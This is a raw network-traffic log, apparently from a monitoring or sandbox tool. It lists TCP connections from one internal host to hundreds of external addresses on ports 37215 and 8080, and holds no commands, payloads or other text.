Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.98.101.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.73.66.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 200.226.170.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.5.20.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 65.224.102.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.109.78.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.37.157.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.88.101.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.10.46.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 213.169.131.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.22.8.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.88.34.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.81.105.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 208.203.185.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.25.224.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.242.201.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.88.230.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.132.19.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.162.126.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.53.204.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 153.124.129.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.6.235.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.43.54.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.61.85.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 36.183.200.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.4.80.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.165.238.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.74.200.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.127.6.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.144.179.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 173.221.48.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.179.196.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.86.36.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.105.207.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.138.203.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 97.255.192.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.69.131.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.193.223.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.122.168.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.127.30.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.176.178.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.102.65.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.121.80.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.39.230.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 170.139.186.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 143.13.104.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.11.25.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 222.34.67.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.92.247.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.56.42.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.24.98.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.38.168.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.249.78.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.251.222.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 77.8.149.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.182.170.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.73.29.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.20.129.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.224.77.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 200.142.169.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.91.91.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.114.47.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.113.100.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.35.176.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.32.68.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.221.165.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.238.184.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 8.72.183.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.31.255.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.78.172.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 177.139.147.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.119.20.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.114.52.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 191.213.57.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.33.138.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.80.206.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.96.124.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 149.118.177.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.87.116.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 201.146.105.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.4.67.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.164.224.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.42.94.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 207.199.51.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.78.110.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.139.145.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 187.233.135.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 48.176.2.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.202.254.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 186.101.190.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.187.206.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.87.188.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 179.46.201.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.208.117.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.75.231.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 156.162.128.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.222.101.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.33.144.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.218.155.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.209.160.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.112.46.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.145.15.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 185.142.15.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.20.47.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.254.49.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 32.101.39.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 54.72.241.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 84.127.115.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.194.162.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 161.0.6.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.173.117.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.111.90.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 83.105.23.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.76.92.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.169.84.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 145.115.161.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.105.21.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 32.145.101.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.43.218.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.193.202.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.109.104.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.133.96.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.247.125.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.238.25.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.198.29.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.100.224.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.243.90.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.166.129.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.20.218.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.91.126.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 68.175.63.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.78.69.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.222.196.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 105.57.234.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.128.151.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.105.96.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.198.181.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.41.189.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 101.231.53.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.239.87.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 179.91.127.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.233.0.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.12.52.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.101.161.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 13.23.21.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.151.209.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.65.42.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.26.23.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.115.61.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 72.40.75.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.93.108.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.122.19.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.236.226.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 45.239.156.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.181.92.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.232.254.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.73.206.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.72.110.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 24.196.188.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.9.70.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 176.196.28.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 120.107.121.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 87.190.63.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 198.217.163.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 118.114.80.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.89.217.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 72.113.26.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.15.59.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.2.185.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.91.73.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.73.108.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.93.131.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.197.174.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 148.5.45.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.93.36.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.64.216.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.115.165.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 200.156.116.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.52.167.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 99.72.110.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.35.16.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 1.18.17.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.8.74.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.121.113.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.140.108.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.27.91.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.231.153.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.194.252.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.111.99.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.214.120.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.59.198.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.30.167.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.92.230.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.141.231.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.119.207.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.3.164.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.223.227.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.96.251.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.0.98.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.61.215.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.255.229.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 167.95.6.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 8.171.208.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.187.67.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.90.2.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.97.94.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.61.37.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.165.72.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.221.54.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.226.17.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.28.93.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 138.153.214.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.143.31.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.4.49.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.240.119.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 123.247.172.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.243.234.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.6.186.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 70.63.169.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.186.79.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.214.33.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.240.92.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 39.183.227.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.42.31.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.107.144.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.148.115.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.12.15.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 61.198.20.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.2.95.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 166.129.21.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.209.51.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 37.104.130.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 206.40.67.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 188.114.223.26:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 141.148.228.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 218.182.54.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 220.237.5.219:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 120.143.42.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 201.132.211.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 39.60.207.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 106.209.197.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 67.186.35.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 222.163.222.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 155.212.129.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 65.31.32.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 51.122.227.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 207.251.100.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 66.116.233.42:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 18.180.58.218:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 20.119.134.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 191.155.46.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 53.39.94.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 143.224.22.212:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 46.187.239.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 71.129.77.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 139.218.96.132:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 201.97.59.231:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 39.76.29.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 163.162.210.75:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 149.197.56.111:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 80.37.27.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 193.142.128.239:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 1.151.83.204:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 86.142.17.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 102.76.82.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 39.91.36.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 187.199.195.106:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 130.45.31.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 126.3.182.98:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 108.143.28.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 63.93.215.225:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 128.206.223.239:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 147.96.142.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 200.187.240.161:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 138.154.168.22:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 171.249.128.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 154.44.238.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 153.204.2.11:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 65.200.145.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 54.40.96.4:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 218.64.65.149:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 170.106.37.129:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 150.64.171.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 46.138.196.216:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 100.1.238.198:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 42.203.52.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 75.72.200.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 183.54.209.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 176.237.150.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 73.83.112.203:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 135.110.80.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 159.91.114.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 110.200.245.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 5.94.203.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 87.222.28.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 93.172.119.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 23.57.187.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 189.189.42.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 37.195.1.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 47.27.14.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 69.253.242.247:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 59.23.162.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 147.195.58.79:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 69.118.181.223:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 62.69.64.219:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 207.141.199.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 117.238.43.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 70.94.5.38:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 186.52.81.150:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 79.111.72.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 169.18.44.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 143.241.156.79:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 219.214.112.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 160.130.40.91:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 23.43.12.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 102.200.7.167:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 193.225.29.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 106.124.39.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 178.225.76.106:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 83.174.1.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 218.108.235.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 185.232.54.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 103.118.93.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 165.164.209.252:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 134.229.16.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 24.201.38.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 211.37.108.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 123.205.80.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 62.198.92.90:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 68.144.104.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 92.178.101.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 205.40.206.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 207.241.253.21:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 79.194.55.100:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 138.30.206.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 157.174.177.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 133.154.57.126:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 197.245.52.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 153.26.119.249:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 70.210.227.20:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 213.30.63.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 37.197.9.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 88.163.173.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 126.174.20.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 171.99.255.96:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 14.124.7.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 191.222.224.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 137.74.241.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 58.98.215.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 130.247.111.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 91.179.179.222:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 115.137.127.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 196.105.104.19:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 216.120.208.236:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 12.5.64.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 98.70.184.211:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 46.102.157.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 145.113.254.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 5.51.23.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 77.45.75.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 212.12.60.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 139.147.38.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 102.220.15.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 200.82.11.68:8080
Source: global traffic	TCP traffic: 192.168.2.14:35231 -> 110.150.132.104:8080
